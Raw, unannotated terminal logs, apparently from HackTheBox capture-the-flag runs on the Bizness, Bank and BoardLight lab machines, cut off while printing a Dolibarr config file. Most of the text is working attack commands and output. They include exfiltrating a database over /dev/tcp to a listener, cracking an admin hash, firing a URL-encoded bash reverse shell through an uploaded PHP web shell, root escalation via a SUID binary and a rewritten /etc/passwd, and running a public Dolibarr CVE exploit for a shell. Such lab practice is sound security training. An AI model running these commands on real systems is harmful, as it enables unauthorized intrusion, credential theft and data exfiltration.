password.encrypt.hash.type=SHAofbiz@bizness:/opt/ofbiz$ find / -name derby 2>/dev/null
/home/ofbiz/.gradle/caches/modules-2/files-2.1/org.apache.derby/derby
/home/ofbiz/.gradle/caches/modules-2/metadata-2.69/descriptors/org.apache.derby/derby
/opt/ofbiz/runtime/data/derbyofbiz@bizness:/opt/ofbiz/runtime/data$ ls -l derby
total 16
-rw-r--r-- 1 ofbiz ofbiz-operator 2320 Feb 15 19:27 derby.log
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Feb 15 19:27 ofbiz
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Feb 15 19:27 ofbizolap
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Feb 15 19:27 ofbiztenantofbiz@bizness:/opt/ofbiz/runtime/data$ tar -czf derby.tar.gz derby
ofbiz@bizness:/opt/ofbiz/runtime/data$ ls -l
total 3332
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 2023 derby
-rw-r--r-- 1 ofbiz ofbiz-operator 1231 Oct 13 2023 derby.properties
-rw-r--r-- 1 ofbiz ofbiz-operator 3398865 Feb 15 19:54 derby.tar.gz
-rw-r--r-- 1 ofbiz ofbiz-operator 88 Oct 13 2023 README❯ nc -nlvp 443 > derby.tar.gz
listening on [any] 443 ...ofbiz@bizness:/opt/ofbiz/runtime/data$ cat derby.tar.gz > /dev/tcp/10.10.16.3/443❯ gunzip derby.tar.gz
❯ tar -xvf derby.tar❯ ls
log seg0 tmp db.lck dbex.lck README_DO_NOT_TOUCH_FILES.txt service.properties
❯ pwd
/home/kali/Desktop/HackTheBox/Linux/Bizness/content/Ofbiz/ofbiz
❯ ij
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Versión de ij 10.14
ij> CONNECT 'jdbc:derby:/home/kali/Desktop/HackTheBox/Linux/Bizness/content/Ofbiz/ofbiz';
ij> show SCHEMAS;
TABLE_SCHEM
------------------------------
APP
NULLID
OFBIZ
SQLJ
SYS
SYSCAT
SYSCS_DIAG
SYSCS_UTIL
SYSFUN
SYSIBM
SYSPROC
SYSSTAT
12 filas seleccionadasij> SHOW TABLES IN OFBIZ;
TABLE_SCHEM |TABLE_NAME |REMARKS
------------------------------------------------------------------------
OFBIZ |ACCOMMODATION_CLASS |
OFBIZ |ACCOMMODATION_MAP |
OFBIZ |ACCOMMODATION_MAP_TYPE |
OFBIZ |ACCOMMODATION_SPOT |
OFBIZ |ACCTG_TRANS |
...[snip]...
OFBIZ |USER_AGENT |
OFBIZ |USER_AGENT_METHOD_TYPE |
OFBIZ |USER_AGENT_TYPE |
OFBIZ |USER_LOGIN |
OFBIZ |USER_LOGIN_HISTORY |
OFBIZ |USER_LOGIN_PASSWORD_HISTORY |
OFBIZ |USER_LOGIN_SECURITY_GROUP |
OFBIZ |USER_LOGIN_SECURITY_QUESTION |
OFBIZ |USER_LOGIN_SESSION |
OFBIZ |USER_PREFERENCE |
OFBIZ |USER_PREF_GROUP_TYPE | ij> SELECT * FROM OFBIZ.USER_LOGIN;
USER_LOGIN_ID |CURRENT_PASSWORD |PASSWORD_HINT |IS_&|ENA&|HAS&|REQ&|LAST_CURRENCY_UOM |LAST_LOCA&|LAST_TIME_ZONE |DISABLED_DATE_TIME |SUCCESSIVE_FAILED_LO&|EXTERNAL_AUTH_ID |USER_LDAP_DN |DISABLED_BY |LAST_UPDATED_STAMP |LAST_UPDATED_TX_STAMP |CREATED_STAMP
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
system |NULL |NULL |Y |N |NULL|NULL|NULL |NULL |NULL |NULL |NULL |NULL |NULL |NULL |2023-12-16 03:39:04.584 |2023-12-16 03:39:04.538 |2023-12-16 03:38:54.694 |2023-12-16 03:38:54.284 |system
anonymous |NULL |NULL |NULL|N |NULL|NULL|NULL |NULL |NULL |NULL |NULL |NULL |NULL |NULL |2023-12-16 03:38:54.747 |2023-12-16 03:38:54.284 |2023-12-16 03:38:54.747 |2023-12-16 03:38:54.284 |NULL
admin |$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I |NULL |NULL|Y |N |N |NULL |NULL |NULL |NULL |NULL |NULL |NULL |NULL |2023-12-16 03:44:54.272 |2023-12-16 03:44:54.213 |2023-12-16 03:40:23.643 |2023-12-16 03:40:23.445 |NULL
3 filas seleccionadas
ij> ❯ python3 OFBiz-crack.py --hash-string '$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I' --wordlist /usr/share/wordlists/rockyou.txt
[+] Attempting to crack....
Found Password: monkeybizness
hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
(Attempts: 1478440)
[!] Super, I bet you could log into something with that!ofbiz@bizness:/opt/ofbiz/runtime/data$ su root
Password:
root@bizness:/opt/ofbiz/runtime/data# cat /root/root.txt
fe0e508dad**********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.29 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 21:47 CET
Initiating SYN Stealth Scan at 21:47
Scanning 10.10.10.29 [65535 ports]
Discovered open port 53/tcp on 10.10.10.29
Discovered open port 22/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Completed SYN Stealth Scan at 21:47, 12.53s elapsed (65535 total ports)
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.035s latency).
Scanned at 2025-02-16 21:47:10 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65541 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.29
[*] Open ports: 22,53,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,53,80 10.10.10.29 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 21:48 CET
Nmap scan report for bank.htb (10.10.10.29)
Host is up (0.071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-title: HTB Bank - Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.7 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 66.51 ms 10.10.16.1
2 32.33 ms bank.htb (10.10.10.29)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.29
http://10.10.10.29 [200 OK] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.29], Title[Apache2 Ubuntu Default Page: It works]❯ feroxbuster -u http://10.10.10.29 -t 200 -C 500,502
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.29
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 14l 74w 6216c http://10.10.10.29/icons/ubuntu-logo.png
200 GET 378l 980w 11510c http://10.10.10.29/
404 GET 9l 33w 285c http://10.10.10.29/Donate%20Cash
404 GET 9l 33w 285c http://10.10.10.29/Site%20Assets
[#################>--] - 14s 26939/30007 2s found:4 errors:91
[#################>--] - 14s 26921/30002 1886/s http://10.10.10.29/ [##################>-] - 14s 27120/30007 2s found:4 errors:91
[##################>-] - 14s 27105/30002 1892/s http://10.10.10.29/ [##################>-] - 14s 27331/30007 2s found:4 errors:91
[##################>-] - 14s 27304/30002 1900/s http://10.10.10.29/ [####################] - 20s 30007/30007 0s found:4 errors:91
[####################] - 20s 30002/30002 1491/s http://10.10.10.29/ ❯ cat /etc/hosts | grep bank
10.10.10.29 bank.htb ❯ dig A @10.10.10.29 bank.htb
; <<>> DiG 9.20.4-4-Debian <<>> A @10.10.10.29 bank.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7069
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;bank.htb. IN A
;; ANSWER SECTION:
bank.htb. 604800 IN A 10.10.10.29
;; AUTHORITY SECTION:
bank.htb. 604800 IN NS ns.bank.htb.
;; ADDITIONAL SECTION:
ns.bank.htb. 604800 IN A 10.10.10.29
;; Query time: 31 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (UDP)
;; WHEN: Sun Feb 16 21:51:35 CET 2025
;; MSG SIZE rcvd: 86❯ dig AAAA @10.10.10.29 bank.htb
; <<>> DiG 9.20.4-4-Debian <<>> AAAA @10.10.10.29 bank.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58762
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;bank.htb. IN AAAA
;; AUTHORITY SECTION:
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 32 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (UDP)
;; WHEN: Sun Feb 16 21:52:06 CET 2025
;; MSG SIZE rcvd: 79❯ dig any bank.htb @10.10.10.29
; <<>> DiG 9.20.4-4-Debian <<>> any bank.htb @10.10.10.29
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19558
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;bank.htb. IN ANY
;; ANSWER SECTION:
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
;; ADDITIONAL SECTION:
ns.bank.htb. 604800 IN A 10.10.10.29
;; Query time: 199 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Sun Feb 16 21:52:58 CET 2025
;; MSG SIZE rcvd: 128❯ dig axfr bank.htb@10.10.10.29
; <<>> DiG 9.20.4-4-Debian <<>> axfr bank.htb@10.10.10.29
;; global options: +cmd
; Transfer failed.❯ whatweb http://bank.htb
http://bank.htb [302 Found] Apache[2.4.7], Bootstrap, Cookies[HTBBankAuth], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.29], JQuery, PHP[5.5.9-1ubuntu4.21], RedirectLocation[login.php], Script, X-Powered-By[PHP/5.5.9-1ubuntu4.21]
http://bank.htb/login.php [200 OK] Apache[2.4.7], Bootstrap, Cookies[HTBBankAuth], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.29], JQuery, PHP[5.5.9-1ubuntu4.21], PasswordField[inputPassword], Script, Title[HTB Bank - Login], X-Powered-By[PHP/5.5.9-1ubuntu4.21]❯ feroxbuster -u http://bank.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://bank.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 301c http://bank.htb/inc => http://bank.htb/inc/
301 GET 9l 28w 304c http://bank.htb/assets => http://bank.htb/assets/
301 GET 9l 28w 305c http://bank.htb/uploads => http://bank.htb/uploads/
200 GET 1l 287w 16994c http://bank.htb/assets/js/sweetalert.min.js
200 GET 7l 432w 37045c http://bank.htb/assets/js/bootstrap.min.js
200 GET 0l 0w 0c http://bank.htb/inc/user.php
200 GET 23l 38w 622c http://bank.htb/inc/footer.php
200 GET 29l 182w 14288c http://bank.htb/assets/img/Thumbs.db
200 GET 48l 93w 1024c http://bank.htb/assets/css/login.css
200 GET 13l 53w 5927c http://bank.htb/assets/img/htb-logo.png
200 GET 4l 1412w 95785c http://bank.htb/assets/js/jquery.js
302 GET 188l 319w 7322c http://bank.htb/ => login.php
200 GET 2377l 6406w 69707c http://bank.htb/assets/js/bootstrap.js
200 GET 935l 2309w 22957c http://bank.htb/assets/css/sweetalert.css
200 GET 106l 587w 35387c http://bank.htb/assets/fonts/glyphicons-halflings-regular.eot
200 GET 1672l 2840w 26651c http://bank.htb/assets/font-awesome/css/font-awesome.css
200 GET 4l 56w 21984c http://bank.htb/assets/font-awesome/css/font-awesome.min.css
200 GET 6757l 16077w 146010c http://bank.htb/assets/css/bootstrap.css
200 GET 288l 13959w 108738c http://bank.htb/assets/fonts/glyphicons-halflings-regular.svg
200 GET 1673l 3210w 162920c http://bank.htb/assets/font-awesome/fonts/FontAwesome.otf
200 GET 520l 42211w 287007c http://bank.htb/assets/font-awesome/fonts/fontawesome-webfont.svg
302 GET 0l 0w 0c http://bank.htb/inc/header.php => login.php
200 GET 0l 0w 0c http://bank.htb/inc/ticket.php
200 GET 227l 378w 3480c http://bank.htb/assets/css/htb-bank.css
200 GET 16l 42w 332c http://bank.htb/assets/font-awesome/scss/_bordered-pulled.scss
200 GET 19l 44w 378c http://bank.htb/assets/font-awesome/scss/_list.scss
200 GET 14l 34w 695c http://bank.htb/assets/font-awesome/scss/_path.scss
200 GET 20l 59w 672c http://bank.htb/assets/font-awesome/scss/_rotated-flipped.scss
200 GET 561l 1133w 15592c http://bank.htb/assets/font-awesome/scss/_variables.scss
200 GET 552l 2489w 35004c http://bank.htb/assets/font-awesome/scss/_icons.scss
200 GET 227l 1523w 117910c http://bank.htb/assets/font-awesome/fonts/fontawesome-webfont.woff
200 GET 233l 1412w 99659c http://bank.htb/assets/font-awesome/fonts/fontawesome-webfont.eot
200 GET 1063l 4200w 142944c http://bank.htb/assets/font-awesome/fonts/fontawesome-webfont.ttf
200 GET 11l 47w 419c http://bank.htb/assets/font-awesome/scss/_core.scss
301 GET 9l 28w 313c http://bank.htb/assets/js/theme => http://bank.htb/assets/js/theme/❯ gobuster dir -u http://bank.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/server-status (Status: 403) [Size: 288]
/balance-transfer (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]
Progress: 220547 / 220548 (100.00%)
===============================================================
Finished
===============================================================❯ curl -s -X GET 'http://bank.htb/balance-transfer/0a0b2b566c723fce6c5dc9544d426688.acc'
++OK ENCRYPT SUCCESS
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: czeCv3jWYYljNI2mTedDWxNCF37ddRuqrJ2WNlTLje47X7tRlHvifiVUm27AUC0ll2i9ocUIqZPo6jfs0KLf3H9qJh0ET00f3josvjaWiZkpjARjkDyokIO3ZOITPI9T
Email: 1xlwRvs9vMzOmq8H3G5npUroI9iySrrTZNpQiS0OFzD20LK4rPsRJTfs3y1VZsPYffOy7PnMo0PoLzsdpU49OkCSSDOR6DPmSEUZtiMSiCg3bJgAElKsFmlxZ9p5MfrE
Password: TmEnErfX3w0fghQUCAniWIQWRf1DutioQWMvo2srytHOKxJn76G4Ow0GM2jgvCFmzrRXtkp2N6RyDAWLGCPv9PbVRvbn7RKGjBENW3PJaHiOhezYRpt0fEV797uhZfXi
CreditCards: 5
Transactions: 93
Balance: 905948 .
===UserAccount===❯ curl -s -X GET 'http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc'
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===❯ curl -s -X GET 'http://bank.htb/balance-transfer/' | html2text | awk '{print $3, $5}' | paste -d ' ' - - | grep -vE '582|583|584|585' | sort
Server bank.htb
09ed7588d1cd47ffca297cc7dac22c52.acc 581
68576f20e9732f1b2edc4df5b8533230.acc 257
941e55bed0cb8052e7015e7133a5b9c7.acc 581
Directory -
of ****** Last Description❯ curl -s 'http://bank.htb/uploads/gzzcoo.htb?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)❯ nc -nlvp 443
listening on [any] 443 ...❯ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"' | jq -sRr @uri
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.3%2F443%200%3E%261%22
❯ curl -s 'http://bank.htb/uploads/gzzcoo.htb?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.3%2F443%200%3E%261%22'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.29] 60798
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$ cat /home/chris/user.txt
ab47a4cf55**********************www-data@bank:/var/www/bank/uploads$ script /dev/null -c bash
script /dev/null -c bash
www-data@bank:/var/www/bank/uploads$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
www-data@bank:/var/www/bank/uploads$ export TERM=xterm
www-data@bank:/var/www/bank/uploads$ export SHELL=bash
www-data@bank:/var/www/bank/uploads$ stty rows 46 columns 230www-data@bank:/var/www/bank/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bank:/var/www/bank/uploads$ sudo -l
[sudo] password for www-data:
www-data@bank:/var/www/bank/uploads$ find / -perm -4000 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umountwww-data@bank:/var/www/bank/uploads$ ls -l /var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14 2017 /var/htb/bin/emergencywww-data@bank:/var/www/bank/uploads$ /var/htb/bin/emergency
# whoami
root
# cat /root/root.txt
66b882036c79fc**********************www-data@bank:/tmp$ find /etc -writable 2>/dev/null
/etc/passwdwww-data@bank:/tmp$ openssl passwd -1 gzzcoo
$1$eb5EWdLO$tyxkHG/AFdZsl8iK62EQu/
www-data@bank:/tmp$ cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bashwww-data@bank:/tmp$ cat /etc/passwd
root:$1$eb5EWdLO$tyxkHG/AFdZsl8iK62EQu/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syncwww-data@bank:/tmp$ su root
Password:
root@bank:/tmp# whoami
root
root@bank:/tmp# cat /root/root.txt
66b882036c**********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.11 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-06 00:37 CET
Initiating SYN Stealth Scan at 00:37
Scanning 10.10.11.11 [65535 ports]
Discovered open port 80/tcp on 10.10.11.11
Discovered open port 22/tcp on 10.10.11.11
SYN Stealth Scan Timing: About 49.33% done; ETC: 00:38 (0:00:32 remaining)
Completed SYN Stealth Scan at 00:38, 54.34s elapsed (65535 total ports)
Nmap scan report for 10.10.11.11
Host is up, received user-set (0.038s latency).
Scanned at 2025-02-06 00:37:37 CET for 54s
Not shown: 52267 closed tcp ports (reset), 13266 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 54.44 seconds
Raw packets sent: 90021 (3.961MB) | Rcvd: 89628 (3.590MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.11
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.11 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-06 00:39 CET
Nmap scan report for board.htb (10.10.11.11)
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 89.11 ms 10.10.16.1
2 30.64 ms board.htb (10.10.11.11)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.20 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...// Some code❯ cat /etc/hosts | grep 10.10.11.11
10.10.11.11 board.htb❯ whatweb http://board.htb
http://board.htb [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]❯ dirsearch -u 'http://board.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/BoardLight/BoardLight/reports/http_board.htb/_25-02-06_00-48-52.txt
Target: http://board.htb/
[00:48:52] Starting:
[00:49:01] 200 - 2KB - /about.php
[00:49:23] 200 - 2KB - /contact.php
Task Completed❯ wfuzz --hh=15949 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.board.htb" http://board.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://board.htb/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002042: 200 149 L 504 W 6360 Ch "crm" ❯ cat /etc/hosts | grep 10.10.11.11
10.10.11.11 board.htb crm.board.htb❯ git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253; cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
Clonando en 'Exploit-for-Dolibarr-17.0.0-CVE-2023-30253'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (18/18), 9.17 KiB | 9.17 MiB/s, listo.
Resolviendo deltas: 100% (3/3), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ python3 exploit.py http://crm.board.htb admin admin 10.10.16.2 443
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.11] 34712
bash: cannot set terminal process group (850): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bashwww-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -l
total 44
-rw-r--r-- 1 www-data www-data 1736 May 17 2024 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 2024 conf.php.old
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
